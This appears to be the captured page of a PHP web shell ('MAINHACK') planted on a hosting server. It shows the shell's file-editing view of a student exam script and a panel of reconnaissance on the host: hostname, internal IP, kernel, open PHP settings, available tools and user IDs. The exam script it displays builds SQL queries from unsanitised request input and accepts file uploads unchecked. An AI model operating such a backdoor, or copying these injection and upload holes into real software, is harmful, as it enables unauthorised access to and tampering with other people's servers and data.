[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: exam_start1.php
<?php include('header.php'); $id=$_REQUEST['id']; ?> <link rel="stylesheet" href="compiled/flipclock.css"> <script> function check(){ var a=document.getElementById("date1").value; var b=document.getElementById("date2").value; var date = moment(a + ' ' + b, "YYYY-MM-DD HH:mm"); var duration = moment.duration(date.diff(today)); var today=moment(); var hours = duration.asHours(); alert(hours); if(hours<12){ sweetAlert("oops","Cannot Cancel 12hrs prior","error"); return false; } </script> <script src="compiled/flipclock.js"></script> <!-- main content start--> <div id="page-wrapper" style="height:600px"> <div class="main-page"> <div class="row"> <div class="col-md-2"></div> <div class="col-md-10"> <!--p>You will be redirected in <span id="counter">10800</span> second(s).</p--> <div class="clock" style="margin:2em;"></div> <div class="message"></div> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> </div> </div> <div class="col-md-2"></div> </div> <div id="col-md-12"> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4 style="display:inline-block;">My Exam</h4> <a align="right" style="float:right"> <?php $sq="select * from exam where date=curdate() and id=".$id.""; $r=mysqli_query($con,$sq); while($row=mysqli_fetch_array($r)){ $s_time=$row['start_time']; $e_time=$row['end_time']; $ques=$row['question']; $ques_id=$row['question_id']; echo $ques; } $today=date("h:i A"); $datetime1 = new DateTime($e_time); $datetime2 = new DateTime($today); $interval = $datetime1->diff($datetime2); echo "Time Left:"; echo $interval->format('%h')." Hours ".$interval->format('%i')." Minutes"; $dateTime = new DateTime($e_time); if ($dateTime->diff(new DateTime)->format('%R') == '+') { $sq="insert into user_answer(student_id,student_email,question,answer,date,question_id) values(".$_SESSION['id'].",'".$name."','".$ques."','No answer given',curdate(),'".$ques_id."')"; $r=mysqli_query($con,$sq); if($r){ echo "<script> alert('Your Time is UP!!!');window.location.href='over_exam.php'</script>"; } } ?> </a> </div> <?php $dateS = new DateTime($s_time); if ($dateS->diff(new DateTime)->format('%R') == '+') { ?><div class="form-body"> <form method="post" data-toggle="validator" enctype="multipart/form-data" > <div class="form-group"> <h4>Your Exam has started now</h4> <hr> <label class="control-label col-md-2">Download Question</label> <div class="col-md-2"><a href="../etap-admin/papers/<?php echo $ques; ?>" target="_blank" class="btn btn-info" >Download</a></div> <div class="col-md-6">(<font color="green">*Note: right click on download button and click save link as</font>)</div> <div class="clearfix"></div> </div> <div class="form-group"> <label class="control-label col-md-2">Upload Answer</label> <input type="file" name="file" class="btn btn-success"/> </div> <div class="clearfix"></div> </div> <div class="form-group"> <div class="col-md-6"> <input type="submit" name="sub" value="Upload" class="btn btn-info"> </div> <div class="clearfix"></div> </div> </form> </div><?php }else{ ?> <div class="form-body"> <form method="post" data-toggle="validator"> <div class="form-group"> <h4>Your Exam has not started yet</h4> <hr> <label class="control-label col-md-2">Download Question</label> <input type="button" class="btn btn-info" value="Download" disabled> </div><div class="form-group"> <label class="control-label col-md-2">Upload Answer</label> <input type="file1" name="name" class="btn btn-success" value="Upload" disabled /> <div class="clearfix"></div> </div> <div class="form-group"> <div class="col-md-6"> <input type="submit" name="sub1" value="Upload" class="btn btn-info" disabled> </div> <div class="clearfix"></div> </div> </form> </div> <?php }?> </div> <?php if(isset($_POST['sub'])){ if(file_exists($_FILES['file']['name'])) { echo "file exists"; } else { $img1=$_SESSION['id'].$_FILES['file']['name']; if(move_uploaded_file($_FILES['file']['tmp_name'],"answer/".$img1)) { $sq="insert into user_answer(student_id,student_email,question,answer,date,question_id) values(".$_SESSION['id'].",'".$name."','".$ques."','".$img1."',curdate(),'".$ques_id."')"; $r=mysqli_query($con,$sq); if($r){ echo "<script>alert('Thank You!!..For submitting your answer'); window.location.href='over_exam1.php' </script>"; } } } } ?> </div> </div> </div> </div> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619